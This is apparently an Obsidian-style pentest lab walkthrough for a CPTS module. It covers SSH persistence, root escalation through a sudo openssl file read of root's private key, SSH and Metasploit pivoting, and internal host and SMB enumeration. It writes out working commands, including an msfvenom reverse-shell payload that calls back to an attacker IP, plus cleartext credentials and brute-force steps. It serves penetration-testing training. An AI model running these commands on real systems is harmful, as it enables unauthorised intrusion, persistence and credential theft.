FLOW ^: Pentest Workflow

Post-Exploitation Persistence & Internal Enumeration

Updated CPTS field reference for post-exploitation persistence & internal enumeration.

intermediate updated 2026-08-05 ssh · openssl · proxychains · msfvenom

+> [!info]+ Obsidian NoteBanner Code — Do Not Run Manually

ris:FileList

  1. Obsidian’s Dataview plugin executes this block automatically when the note opens.
  2. dv.view("00Meta/Views/NoteBanner") loads the shared visual banner from the vault; it is unrelated to the pentest workflow.
  3. Do not paste it into Bash, PowerShell, Burp, a browser console, or a target shell.
  4. If the banner is missing, check the Dataview plugin and shared view file rather than changing attack commands.

[!dashboard] Module context Module: Attacking-Enterprise-Networks · Section: 6 · Status: in-progress Tier III · Offensive


Summary ris:Eye

Picking up from the RCE foothold established in 5 - Web Application Enumeration, this section locks in persistence on dmz01 via SSH, escalates to root through a sudo-abusable openssl binary, and grabs the root SSH key so we never have to re-exploit the web application to get back in. With a stable root shell, dmz01 becomes the pivot point into the internal 172.16.8.0/23 range using SSH dynamic port forwarding and, alternatively, Metasploit’s autoroute. Host discovery turns up a Domain Controller, a Windows host running NFS and an exposed DotNetNuke (DNN) CMS, and a Tomcat box that turns out to be a dead end. Pillaging an anonymously-mounted NFS export on the DNN host recovers a web.config file with cleartext DNN administrator credentials, which are then used to gain code execution as the mssql$sqlexpress service account, escalate to NT AUTHORITY\SYSTEM via SeImpersonate/PrintSpoofer, and dump the local SAM and LSA secrets, yielding our first set of domain credentials (hporter:Gr8hambino!). Read-only enumeration through the webshell (abusing the machine account’s domain membership) then maps the password policy, group structure, and a dozen Kerberoastable service accounts — setting up the Kerberoast-driven lateral movement in 7 - Lateral Movement.


Conceptual Information ris:FileList

[!info]+ Mental Model — Pivoting Changes the Network Path, Not the Target ris:Global

  1. The attacker cannot directly route to the internal subnet, but the compromised dual-homed host can. A pivot makes selected attacker traffic enter through that host and continue toward the internal destination.
  2. An SSH dynamic forward creates a SOCKS proxy. Applications that understand SOCKS—or are wrapped by proxychains—open TCP connections through the SSH server. It does not transparently route every packet type.
  3. A local/remote port forward maps one listening port to one destination. A SOCKS proxy supports many TCP destinations. A framework autoroute teaches Metasploit modules which session reaches a subnet.
  4. Proxychains cannot carry Nmap’s raw SYN or ICMP packets, which is why the scan changes to TCP connect mode (-sT) and skips host discovery (-Pn). This is a transport limitation, not arbitrary syntax.
  5. Scanning locally from dmz01 with a static Nmap binary avoids SOCKS limitations but places a tool and output files on the target. The choice is a trade-off between capability and operational footprint.
PathTraffic flowBest useImportant limitation
SSH -D SOCKSTool → local SOCKS → dmz01 → internal serviceBrowsers, SMB/HTTP clients, TCP connect scansProxy-aware TCP only
SSH -L local forwardLocal port → dmz01 → one internal host:portExposing a single web/DB service locallyOne mapping per destination
SSH -R remote forwardPivot-side port → SSH tunnel → attacker serviceMaking an attacker listener reachable through a pivotListener binding and GatewayPorts rules
Metasploit autorouteMetasploit module → existing session → subnetFramework modules and scansGenerally limited to the framework
Tool on pivotCommand executes directly on dmz01Raw scanning, packet capture, local routesLeaves binaries/output on the host

[!failure]+ Pivot Troubleshooting Ladder fas:CircleXmark

  1. On the pivot, confirm the internal interface and route with ip addr and ip route; do not assume the CIDR from memory.
  2. From the pivot itself, test one known internal host/port. If this fails, the tunnel cannot fix the underlying reachability problem.
  3. On the attacker, confirm the SOCKS/forward listener with ss -lntp and match its version/port to proxychains.conf.
  4. Test with a simple TCP client such as proxychains nc -nv <internal-ip> <port> before using a complex scanner.
  5. If Nmap shows every host down, use -sT -Pn; if DNS names fail, use IPs first or configure proxy-aware DNS deliberately.

[!important]+ Where This Sits in the PTES Flow fas:TriangleExclamation

  1. Foothold obtained externally → this section is Post-Exploitation (persistence) followed by a fresh Information Gathering / Vulnerability Analysis / Exploitation cycle, this time against the internal network reached through the pivot
  2. Persistence work always comes first. A shell obtained through a web application exploit chain is fragile — the app can crash, the session can drop, an admin can patch the vulnerability. Lock in access before doing anything else
  3. Pivoting is not optional here: the RoE in Section 2 specifically extends scope to 172.16.8.0/23 and 172.16.9.0/23 if external access is gained, and it has been

[!tip]+ Why Two Persistence Mechanisms fas:Lightbulb

  1. The srvadm credential pair is convenient but fragile — a password reset or account lockout breaks it without warning
  2. The root SSH private key is far more durable: keys are rarely rotated on internal Linux boxes, and root access means it survives most low-level remediation
  3. Always prefer key-based persistence over password-based where the option exists, and always grab both when possible so there’s a fallback

[!warning]+ Pivoting Adds Operational Risk ris:Radar

  1. Every additional hop (SSH pivot, Metasploit route, SOCKS proxy) adds latency and a new thing that can silently break mid-assessment
  2. GatewayPorts, sshd_config edits, and any other host configuration changes made to enable pivoting must be logged for the report appendix and reverted at engagement close
  3. A static Nmap binary uploaded to a pivot host is a forensic artefact — track every file placed on client systems for the same reason

Commands and Implementation fas:Terminal

[!important]+ Before You Enumerate Through the Foothold fas:TriangleExclamation

  1. Prompt awareness: Commands may run on the attacker, dmz01, or a Windows host reached through the pivot. Confirm with hostname before copying a command from one step to another.
  2. Route before scan: A service on 172.16.8.0/23 is unreachable from the attacker until the SOCKS/Metasploit route exists. Test the route with one known host and port before launching broad enumeration.
  3. Know the scanner limitation: proxychains carries TCP connections, so use Nmap -sT -Pn; raw SYN (-sS) and ICMP discovery do not traverse a SOCKS proxy in the expected way.
  4. Persistence changes the target: Adding SSH keys is appropriate in this lab and only when authorised. Record the account, key, file modified, and removal step for the final cleanup log.
  5. Credential hygiene: Store every recovered username, password, and hash with its source and validation status. Do not spray newly found credentials indiscriminately.
StepMachine/contextWhat success looks likeHow it advances the chain
1. SSH footholdAttacker → dmz01Reliable SSH session as the recovered userReplaces the fragile web shell
2. Local privescOn dmz01sudo/GTFOBins path yields uid=0Enables route discovery, packet capture, and authorised persistence
3. Root persistenceOn dmz01Root SSH key authentication worksProvides a recoverable pivot point
4. SSH SOCKSAttacker plus dmz01Local SOCKS port accepts proxied connectionsMakes internal TCP services reachable by proxy-aware tools
5. AutorouteMetasploit sessionRoute table contains the internal subnetAlternative framework-managed pivot path
6. Host discoverydmz01 or routed attackerLive IP list for 172.16.8.0/23Narrows expensive scans to responding hosts
7. Static NmapOn dmz01Port/service inventory for each live hostBuilds the internal attack-surface map
8. SMB quick hitsThrough pivotDomain name, shares, users, or null-session dataEstablishes AD context and candidate identities
9. DNN/NFSThrough pivotDNN asset and exposed share contents identifiedProvides credentials or application access
10. SQL console RCEIn DNN/MSSQL contextHarmless OS command output appearsCreates code execution on the Windows application host
11. SeImpersonateWindows hostNew process runs as NT AUTHORITY\\SYSTEMGrants local SYSTEM for secret collection
12. Local secretsWindows host then attackerSAM/LSA material parses into accounts/hashesSupplies the first domain credential candidates

Step 1 — SSH In and Confirm the Foothold ris:LockPassword

[!info]+ Operator Context — Replace the Fragile Web Shell ris:LockPassword

  1. Starting state: audit evidence yielded an srvadm credential candidate and SSH/22 is externally reachable.
  2. Execution: authenticate from the attacker using the explicit username/host; verify the host key deliberately rather than suppressing it without review.
  3. Mechanism: SSH creates an encrypted authenticated session independent of the web application’s vulnerable request lifecycle.
  4. Read the result: successful authentication proves the credential is valid for SSH; id/hostname confirm it lands on the expected account/host rather than a reused credential elsewhere.
  5. Handoff: preserve both paths until privilege escalation is confirmed, then use SSH as the stable base for local and internal enumeration.
ssh srvadm@10.129.203.111
# password: ILFreightnixadm!

[!info]+ Command Breakdown ris:LockPassword

  1. srvadm:ILFreightnixadm!: the credential pair recovered from the web application exploitation chain in 5 - Web Application Enumeration
  2. SSH is preferred over the unstable reverse shell whenever it is reachable — it survives disconnects and gives a proper TTY
  3. Interpretation: dmz01 (10.129.203.111 externally, 172.16.8.120 on a second internal NIC) is a dual-homed jump box — exactly the kind of host that bridges an external DMZ to an internal segment

Step 2 — Local Enumeration and GTFOBins Privilege Escalation fas:TriangleExclamation

[!info]+ Operator Context — From sudo -l to Root fas:RocketLaunch

  1. Starting state: an authenticated local user may have explicitly delegated sudo commands even without knowing the root password.
  2. Execution: sudo -l asks sudoers which commands this identity may run, as which user, on which host, and whether a password is required.
  3. Mechanism: GTFOBins documents legitimate program features that can escape their intended purpose when the entire program runs as root—for example, shell escapes, file writes, or command hooks.
  4. Read the result: the exact path and allowed arguments matter. A similarly named binary or restricted argument pattern may invalidate a published technique.
  5. Verification: after the escape, id must show uid=0; do not infer root merely from a changed prompt.
  6. Handoff: record the sudoers rule as the root cause and the minimum escape sequence as proof before making any persistence changes.
srvadm@dmz01:~$ sudo -l

Matching Defaults entries for srvadm on dmz01:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User srvadm may run the following commands on dmz01:
    (ALL) NOPASSWD: /usr/bin/openssl

[!info]+ Command Breakdown ris:Command

  1. id and sudo -l are the first two commands to run on any new foothold — group membership and sudo rights account for the overwhelming majority of real-world Linux privilege escalation paths
  2. NOPASSWD: /usr/bin/openssl: srvadm can run the OpenSSL binary as root with no password prompt
  3. Interpretation: check GTFOBins for any binary that appears in a sudo -l listing before reaching for a custom exploit — OpenSSL has a documented file-read primitive that is perfect here
srvadm@dmz01:~$ LFILE=/root/.ssh/id_rsa
srvadm@dmz01:~$ sudo /usr/bin/openssl enc -in $LFILE

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
-----END OPENSSH PRIVATE KEY-----

[!success]+ Finding — SSH Root Private Key Recovered via GTFOBins ris:Key ris:Key

  1. The GTFOBins entry for openssl documents a privileged file read: openssl enc -in "$LFILE" decrypts nothing (no cipher specified) and simply echoes the file back out, but since it runs as root it bypasses file permissions
  2. Reading /root/.ssh/id_rsa directly is a better target than /etc/shadow here — a private key gives durable, high-trust SSH access instead of a hash that still needs cracking
  3. Copy the key output into a local file, save it in your notes immediately — a lost Pwnbox session means redoing every step to get back to this point

[!example]+ PayloadsAllTheThings — Linux Sudo and GTFOBins Reference ris:Command PayloadsAllTheThings — Linux Privilege Escalation links its maintained SUDO, NOPASSWD, GTFOBins, and SSH-key sections. The OpenSSL file-read primitive is one instance of a general sudo -l workflow.

id
sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
LFILE=/root/.ssh/id_rsa
sudo openssl enc -in "$LFILE"
  1. sudo -l: inventories explicitly delegated commands before noisier enumeration or kernel exploitation
  2. SUID and capabilities: catch privilege paths that do not appear in sudoers
  3. OpenSSL: a privileged file-read primitive; target reusable credential material such as SSH keys when engagement rules allow it
  4. Cross-reference every unusual binary with GTFOBins, then record the exact permitted command and resulting security boundary crossed.

Step 3 — Establish Persistence as Root ris:Key

[!info]+ Operator Context — SSH Key Persistence ris:Key

  1. Starting state: root access exists interactively, but it depends on an escalation path and the original user credential.
  2. Attacker side: use a dedicated assessment keypair; protect the private key and identify it clearly so it is not confused with personal keys.
  3. Target side: place only the public key in root’s authorized_keys, ensure the .ssh directory/file ownership and restrictive permissions satisfy OpenSSH checks.
  4. Mechanism: future SSH authentication proves possession of the private key; the private key never needs to be copied to the client host.
  5. Verification: open a new session using the explicit key and confirm uid=0 before trusting persistence.
  6. Cleanup: log the exact public-key line and remove only that line later; verify subsequent key authentication fails without disturbing legitimate keys.
chmod 600 dmz01_key
ssh -i dmz01_key root@10.129.203.111

root@dmz01:~#

[!info]+ Command Breakdown fas:Terminal

  1. chmod 600: SSH refuses to use a private key with overly permissive file modes
  2. Confirms full root access to dmz01 via a durable key-based credential, independent of the srvadm password
  3. Interpretation: we now have two independent routes back into the internal network — a password pair and a root private key — which is the definition of solid persistence

[!example]+ PayloadsAllTheThings — Linux SSH Persistence Reference ris:Command PayloadsAllTheThings — Linux Persistence catalogues SSH, account, SUID, cron, shell-profile, and service persistence. This lab reuses an existing root key rather than changing the host, which is lower-impact and easier to clean up.

chmod 600 dmz01_key
ssh -o IdentitiesOnly=yes -i dmz01_key root@10.129.203.111
ssh-keygen -lf dmz01_key
  1. chmod 600: satisfies OpenSSH’s private-key permission check
  2. IdentitiesOnly=yes: prevents the SSH agent from offering unrelated keys and obscuring which credential succeeded
  3. ssh-keygen -lf: records the key fingerprint without exposing the private key in screenshots or reports
  4. Avoid creating new persistence when an existing authorised credential is enough; any host modification must be logged and removed during closeout.

Step 4 — Set Up Pivoting: SSH Dynamic Port Forwarding ris:Global

[!info]+ Operator Context — SOCKS Through dmz01 ris:Global

  1. Starting state: dmz01 has an interface/route into 172.16.8.0/23, while the attacker has no direct route.
  2. Execution: the attacker opens SSH to dmz01 with a dynamic forward bound to a chosen local port; this creates the SOCKS listener on the attacker.
  3. Mechanism: a proxy-aware tool asks SOCKS to connect to an internal IP/port. SSH carries the request to dmz01, which originates the final TCP connection using its internal reachability.
  4. Verification: confirm the local listener, match its SOCKS version/port in proxychains.conf, and test one known internal TCP port before a scan.
  5. Limit: DNS, UDP, ICMP, raw SYN scans, and applications ignoring the proxy may leak or fail; proxychains does not magically create a kernel route.
  6. Handoff: annotate commands as proxied and keep the SSH session alive; when it drops, every dependent tool path also drops.
ssh -D 8081 -i dmz01_key root@10.129.203.111

[!info]+ Command Breakdown ris:Global

  1. -D 8081: opens a local SOCKS proxy on port 8081 that tunnels all forwarded traffic through the SSH session on dmz01
  2. Any tool that supports a SOCKS proxy (or is wrapped with proxychains) can now reach hosts on dmz01’s second NIC (172.16.8.120, subnet 172.16.8.0/23) directly from the attack host
  3. See the Dynamic Port Forwarding with SSH and SOCKS Tunneling section of the Pivoting, Tunneling, and Port Forwarding module for the full theory
netstat -antp | grep 8081
tcp   0   0 127.0.0.1:8081   0.0.0.0:*   LISTEN   122808/ssh

grep socks4 /etc/proxychains.conf
socks4    127.0.0.1 8081

[!info]+ Command Breakdown fas:Terminal

  1. netstat: confirms the local SOCKS listener is up before trusting any tool that depends on it
  2. /etc/proxychains.conf: the port number here must match the -D port exactly, or every proxied command will simply time out
  3. This vault uses socks4 in the sample; socks5 also works and supports UDP/DNS resolution through the tunnel if needed
proxychains nmap -sT -p 21,22,80,8080 172.16.8.120

|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.120:80-<><>-OK
|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.120:22-<><>-OK
|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.120:21-<><>-OK
|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.120:8080-<><>-OK

PORT       STATE SERVICE
21/tcp     open  ftp
22/tcp     open  ssh
80/tcp     open  http
8080/tcp   open  http-proxy

[!info]+ Command Breakdown ris:Scan2

  1. -sT: proxychains can only relay TCP connect scans, not raw SYN scans, so -sT is mandatory through a SOCKS tunnel
  2. The S-chain lines confirm each connection routed correctly through the chain before Nmap reports the result
  3. Interpretation: this scan validates the pivot itself before spending time scanning the wider internal range — always sanity-check the tunnel against a known host first

[!image]+ Configuring the SOCKS Proxy in Firefox firefox-socks-proxy-8081-config.png (SHA-256 · GPG signature) Manual proxy configuration pointed at 127.0.0.1:8081 (SOCKS v5), used later to browse internal web applications directly through the pivot from the attack host’s browser.

[!tip]+ Prefer Modern C2/Proxy Tooling Over Raw ProxyChains fas:Lightbulb Raw proxychains + SSH -D is reliable but painfully slow for large scans. Chisel or Ligolo-ng provide much faster HTTP/TLS-tunnelled SOCKS proxies with a TUN-interface option, avoiding the per-connection overhead of the SOCKS4/5 chain model entirely.

[!example]+ PayloadsAllTheThings — SSH SOCKS and Proxychains Reference ris:Command PayloadsAllTheThings — Network Pivoting Techniques maps the SSH -D SOCKS proxy and Proxychains workflow used in this step, plus local (-L) and remote (-R) forwarding alternatives.

ssh -N -f -D 127.0.0.1:8081 -i dmz01_key root@10.129.203.111
proxychains curl http://172.16.8.20/
proxychains nmap -sT -Pn -p21,22,80,445 172.16.8.20
ssh -N -L 13389:172.16.8.20:3389 -i dmz01_key root@10.129.203.111
  1. -N -f: keeps only the tunnel and backgrounds the SSH client after authentication
  2. -D: exposes a general-purpose local SOCKS listener for proxy-aware tools
  3. -sT -Pn: required when Nmap traffic crosses a user-space TCP proxy that cannot carry raw SYN or ICMP packets
  4. -L: maps one internal service to one local port when a full SOCKS proxy is unnecessary


Step 5 — Alternative Pivoting: Metasploit Autoroute ris:Command

[!info]+ Operator Context — Framework-Managed Routing ris:Command

  1. Starting state: a live Meterpreter/session on a host that can reach the internal subnet is available.
  2. Execution: autoroute associates the subnet with that session inside Metasploit’s routing table; it does not edit the attacker’s operating-system routes.
  3. Mechanism: compatible Metasploit modules consult the framework route and send their connections through the session transport.
  4. Verification: display routes, then use a small framework TCP probe against a known internal service. A listed route without a working session provides no connectivity.
  5. Trade-off: convenient for framework modules, but ordinary shell tools still need SOCKS/port forwarding or execution on the pivot.
  6. Handoff: choose one primary pivot method for clarity and document the alternative rather than layering both without a reason.
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=443 -f elf > shell.elf
scp -i dmz01_key shell.elf root@10.129.203.111:/tmp

[!info]+ Metasploit Pivot Part 1 — Build and Transfer the Payload on the Attacker ris:Command

  1. Run both lines on the attacking host, not inside Metasploit or on dmz01.
  2. msfvenom creates a 32-bit Linux ELF callback; confirm dmz01 architecture first and change linux/x86 if necessary.
  3. Set LHOST to the attacker VPN IP and keep LPORT identical to the handler below.
  4. The second line copies the resulting shell.elf to /tmp through the root SSH key.
  5. Verify the local file with file shell.elf and record it for target cleanup.
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> use exploit/multi/handler
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set payload linux/x86/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lhost 10.10.14.15
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LPORT 443
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> exploit
[*] Started reverse TCP handler on 10.10.14.15:443

[!info]+ Metasploit Pivot Part 2 — Configure the Matching Handler ris:Command

  1. Start msfconsole on the attacker and enter only the prompt commands shown; bracketed [*] text is output.
  2. The handler payload must exactly match the payload embedded by msfvenom.
  3. lhost and LPORT must also match the attacker address/port used during generation.
  4. exploit starts the listener and waits; leave it running before executing shell.elf on dmz01.
  5. A started handler proves only local readiness, not that the target callback can reach it.
root@dmz01:/tmp# chmod +x shell.elf
root@dmz01:/tmp# ./shell.elf

[!info]+ Metasploit Pivot Part 3 — Execute on dmz01 fas:Linux

  1. SSH to dmz01, change to /tmp, and run these commands there; omit the displayed prompt text when copying.
  2. chmod +x adds execute permission to the transferred ELF.
  3. ./shell.elf initiates the reverse connection to the already waiting attacker handler.
  4. If no session appears, verify architecture, LHOST/LPORT, file permissions, and egress connectivity in that order.
  5. The program remains an assessment artefact and must be removed during cleanup.
[*] Meterpreter session 1 opened (10.10.14.15:443 -> 10.129.203.111:58462)
(Meterpreter 1)(/tmp) > getuid
Server username: root

[!info]+ Metasploit Pivot Part 4 — Verify the Session Identity ris:FileList

  1. This block is handler/Meterpreter output, not commands for Bash.
  2. session 1 opened proves the reverse transport completed between target and attacker.
  3. Run getuid at the Meterpreter prompt; Server username: root confirms the session inherited root.
  4. Also check routing/interfaces from the session before attaching internal routes.
  5. If the session immediately dies, return to the target and inspect process/architecture/security-control behaviour.

[!info]+ Command Breakdown ris:ShareBox

  1. msfvenom -p linux/x86/meterpreter/reverse_tcp: an ELF Meterpreter payload matching the pivot host’s architecture
  2. Uploaded via scp using the persistence key rather than the DNN file manager, since this is a Linux target and SCP is already available
  3. Interpretation: the second, independent Meterpreter session gives access to Metasploit’s own routing and SOCKS tooling as an alternative to the raw SSH tunnel — useful when a module needs a Metasploit session specifically
(Meterpreter 1)(/tmp) > background
[msf] >> use post/multi/manage/autoroute
[msf] post(multi/manage/autoroute) >> set SESSION 1
[msf] post(multi/manage/autoroute) >> set subnet 172.16.8.0
[msf] post(multi/manage/autoroute) >> run

[+] Route added to subnet 172.16.0.0/255.255.0.0 from host's routing table.

[!info]+ Command Breakdown ris:Global

  1. post/multi/manage/autoroute: adds a route through the Meterpreter session so any Metasploit module (scanner, exploit, auxiliary) can reach the subnet without a separate proxy
  2. Compare against Step 4: SSH -D gives a general-purpose SOCKS proxy for any tool; autoroute gives routing that is scoped to Metasploit modules only. Use whichever fits the next task
  3. See the Introduction to MSFVenom section of Using the Metasploit Framework for a refresher on payload crafting

[!example]+ PayloadsAllTheThings — Metasploit Pivoting Reference ris:Command PayloadsAllTheThings — Network Pivoting Techniques also covers Metasploit routing. autoroute makes the session a route for framework modules; adding socks_proxy exposes that route to external TCP tools through Proxychains.

use post/multi/manage/autoroute
set SESSION 1
set SUBNET 172.16.8.0
set NETMASK 255.255.254.0
run
route print
use auxiliary/server/socks_proxy
set VERSION 5
run -j
  1. route print: verifies the route before troubleshooting downstream scanners
  2. 255.255.254.0: represents the actual /23; avoid silently broadening it to /16
  3. socks_proxy: bridges Metasploit routes into a SOCKS listener for non-framework clients
  4. Keep the SSH route as a fallback: a dropped Meterpreter session removes every route attached to it.

Step 6 — Host Discovery on 172.16.8.0/23 ris:Radar

[!info]+ Operator Context — Discover From the Correct Network Position ris:Radar

  1. Starting state: the pivot host has a directly connected or routed view of the authorised internal CIDR.
  2. Execution: run discovery on dmz01 when ICMP/ARP/raw scanning is useful; through SOCKS, use targeted TCP checks because those packet types do not traverse the proxy.
  3. Mechanism: different discovery probes test different signals—ARP on the local segment, ICMP echo, or TCP responses on expected ports.
  4. Read the result: “no response” means only that the selected probe received none; it does not prove the IP is unused.
  5. Verification: combine methods and compare against routes/neighbour data. Save a live-host list with timestamp because DHCP and host state can change.
  6. Handoff: feed only responsive/candidate addresses into detailed scans to reduce traffic and improve evidence organisation.
# Metasploit method
[msf] post(multi/manage/autoroute) >> use post/multi/gather/ping_sweep
[msf] post(multi/gather/ping_sweep) >> set rhosts 172.16.8.0/23
[msf] post(multi/gather/ping_sweep) >> set SESSION 1
[msf] post(multi/gather/ping_sweep) >> run

[+] 172.16.8.3 host found
[+] 172.16.8.20 host found
[+] 172.16.8.50 host found
[+] 172.16.8.120 host found

[!info]+ Discovery Variant 1 — Run Inside Metasploit ris:Radar

  1. Lines beginning [msf] are entered in msfconsole; the [+] host found lines are output.
  2. Set rhosts to the authorised /23 and SESSION to the pivot session carrying the route.
  3. This module probes from/through that session; it is an alternative to the following shell loop.
  4. A missing host may simply block the probe type, so do not treat absence as proof the address is unused.
  5. Save the responding list as candidates for targeted port scans.
# SSH tunnel method — a Bash one-liner from dmz01 itself
root@dmz01:~# for i in $(seq 254); do ping 172.16.8.$i -c1 -W1 & done | grep from

64 bytes from 172.16.8.3: icmp_seq=1 ttl=128 time=0.472 ms
64 bytes from 172.16.8.20: icmp_seq=1 ttl=128 time=0.433 ms
64 bytes from 172.16.8.120: icmp_seq=1 ttl=64 time=0.031 ms
64 bytes from 172.16.8.50: icmp_seq=1 ttl=128 time=0.642 ms

[!info]+ Command Breakdown ris:Radar

  1. for i in $(seq 254); do ping … & done: fires 254 backgrounded pings in parallel and filters for successful replies — dramatically faster than a serial sweep
  2. Running host discovery from the pivot host itself avoids the latency penalty of tunnelling every ICMP packet through SOCKS, which is why it beats Nmap-through-proxychains for this specific task
  3. Interpretation: three new hosts beyond dmz01 itself — 172.16.8.3, .20, .50 — become the internal enumeration target list

[!example]+ PayloadsAllTheThings — Internal Host Discovery Reference ris:Command PayloadsAllTheThings — Network Discovery links its maintained Nmap, Netcat, ping, Masscan, and passive-discovery recipes. Run discovery on the pivot whenever possible to avoid SOCKS latency and protocol limits.

nmap -sn 172.16.8.0/23 -oA internal_discovery
for host in 172.16.{8..9}.{1..254}; do ping -c1 -W1 "$host" >/dev/null && echo "$host"; done
for port in 22 80 135 139 445 3389 5985; do nc -zvw1 172.16.8.20 "$port"; done
ip neigh
  1. Nmap -sn: combines several host-discovery probes and writes reusable output
  2. Ping/Netcat loops: simple fallbacks when only base utilities exist on the pivot
  3. ip neigh: passive local-neighbour evidence that can find hosts which ignore ICMP
  4. Treat every discovered address as a candidate until service enumeration identifies its role.

Step 7 — Full Host Enumeration with a Static Nmap Binary ris:Scan2

[!info]+ Operator Context — Scanning Locally on the Pivot ris:Scan2

  1. Starting state: live internal candidates exist, but SOCKS prevents some Nmap scan types and adds latency.
  2. Attacker side: obtain a trusted static binary matching the pivot architecture and calculate its hash.
  3. Target side: transfer it to a temporary path, verify size/hash/architecture, execute scans locally, and store output in a tracked directory.
  4. Mechanism: scanning on dmz01 gives Nmap native access to raw sockets and local routing, improving discovery and fingerprinting.
  5. Operational cost: the binary and results are client-host artefacts. Rate limits and scan intensity still matter even in a lab-like internal scope.
  6. Handoff: retrieve output to the attacker, map ports to service tasks, and remove the binary/output during cleanup.
root@dmz01:/tmp# ./nmap --open -iL live_hosts

Nmap scan report for 172.16.8.3
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos
135/tcp   open  epmap
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd
593/tcp   open  unknown
636/tcp   open  ldaps

Nmap scan report for 172.16.8.20
PORT      STATE SERVICE
80/tcp    open  http
111/tcp   open  sunrpc
135/tcp   open  epmap
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
2049/tcp  open  nfs
3389/tcp  open  ms-wbt-server

Nmap scan report for 172.16.8.50
PORT      STATE SERVICE
135/tcp   open  epmap
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
8080/tcp  open  http-alt

[!info]+ Command Breakdown ris:Scan2

  1. Uploading a static Nmap binary (via the techniques from File Transfers) and scanning locally on dmz01 is far faster than tunnelling a full-range TCP scan through proxychains
  2. —open -iL live_hosts: only report open ports, reading targets from the file produced by the ping sweep
  3. Interpretation:
    • 172.16.8.3 — Kerberos + LDAP + kpasswd = Domain Controller, unlikely to be directly exploitable but worth a NULL session check
    • 172.16.8.20 — Windows host, HTTP and NFS is an unusual and interesting combination
    • 172.16.8.50 — Windows host with a non-standard 8080/http-alt worth a look

[!example]+ PayloadsAllTheThings — Pivot-Local Nmap Reference ris:Command PayloadsAllTheThings — Network Discovery recommends separating port discovery from deeper service enumeration. A static binary on dmz01 preserves raw-packet support that Proxychains would remove.

./nmap -Pn -sS -p- --min-rate 1000 -iL live_hosts -oA internal_tcp_all
./nmap -Pn -sC -sV -p53,80,88,111,135,139,389,445,464,593,636,2049,3389,8080 -iL live_hosts -oA internal_services
  1. First pass: produces a complete port inventory without multiplying script traffic across 65,535 ports
  2. Second pass: fingerprints only the open services and runs default NSE checks against them
  3. -oA: keeps normal, grepable, and XML evidence together for later extraction and reporting
  4. Remove the uploaded binary and output files at closeout after securely transferring the required evidence.

Step 8 — Active Directory Quick Hits: SMB NULL Session ris:LockPassword

[!info]+ Operator Context — Establish Domain Context Without Credentials ris:LockPassword

  1. Starting state: internal hosts expose SMB, but the domain name, server roles, share policy, and anonymous permissions may be unknown.
  2. Execution: route SMB-capable tooling through the pivot and attempt unauthenticated/guest negotiation once against selected hosts.
  3. Mechanism: SMB negotiation reveals dialect and server/domain metadata before or during session setup; a null session requests resources without user credentials.
  4. Read the result: domain/hostname leakage is not the same as anonymous share access. A session may connect yet enumerate nothing due to authorisation.
  5. Handoff: populate exact DNS/domain names, identify likely DC/file servers, and reserve credentialed enumeration for recovered accounts.
  6. Modern note: SMB signing, guest restrictions, and tool behaviour differ by Windows/Samba version, so preserve complete output rather than only success markers.
proxychains enum4linux -U -P 172.16.8.3

[+] Server 172.16.8.3 allows sessions using username '', password ''
Domain Name: INLANEFREIGHT
Domain Sid: S-1-5-21-2814148634-3729814499-1637837074
[+] Host is part of a domain (not a workgroup)

[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED
[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED
[E] Unexpected error from polenum:
[E] Failed to get password policy with rpcclient

[!info]+ Command Breakdown ris:LockPassword

  1. -U -P: request the user list and password policy over an anonymous (NULL) SMB session
  2. A NULL session is accepted (confirming SMB signing/hardening gaps worth noting), but user and policy enumeration are both blocked with ACCESS_DENIED
  3. Interpretation: this is a partial dead end — the domain name and SID leak (useful for later SID-based attacks), but no user list or lockout policy to plan a spray around. Fall back to Kerbrute against a guessed username list, or continue enumerating other hosts first

[!failure]+ Dead End — Tomcat on 172.16.8.50 fas:CircleXmark fas:CircleXmark

  1. Port 8080 on 172.16.8.50 is the latest Tomcat 10, no public pre-auth exploits available
  2. Brute forced the Tomcat Manager login with auxiliary/scanner/http/tomcat_mgr_login through Metasploit/proxychains against a standard credential list — every attempt failed, including tomcat:changethis
  3. On an internal assessment, an exposed Tomcat Manager login with no successful brute force is normal and not worth a finding on its own — reserve that for an externally-exposed instance or a successful login leading to a JSP web shell

[!tip]+ enum4linux vs enum4linux-ng fas:Lightbulb The original enum4linux is Perl, unmaintained, and its output (as seen in Step 8) is littered with Use of uninitialized value warnings. enum4linux-ng is a Python rewrite with structured (JSON/YAML) output and clearer error handling:

proxychains enum4linux-ng -A 172.16.8.3

[!example]+ PayloadsAllTheThings — AD and SMB Enumeration Reference ris:Command PayloadsAllTheThings — Active Directory Attack links its maintained AD enumeration and internal-share playbooks. A NULL session can leak the domain name, SID, shares, users, or password policy even when some RPC calls are denied.

proxychains enum4linux-ng -A 172.16.8.3
proxychains nxc smb 172.16.8.3 -u '' -p '' --shares --users --pass-pol
proxychains smbclient -N -L //172.16.8.3
proxychains rpcclient -U '' -N 172.16.8.3 -c 'lsaquery;enumdomusers;getdompwinfo'
  1. Use several clients: SMB servers often permit one information class while denying another
  2. Domain SID: remains valuable for RID cycling and later SID-based validation even when usernames are blocked
  3. Password policy: must be known before any password-spray decision
  4. Record partial exposure accurately; an accepted anonymous session is not the same as unrestricted anonymous enumeration.
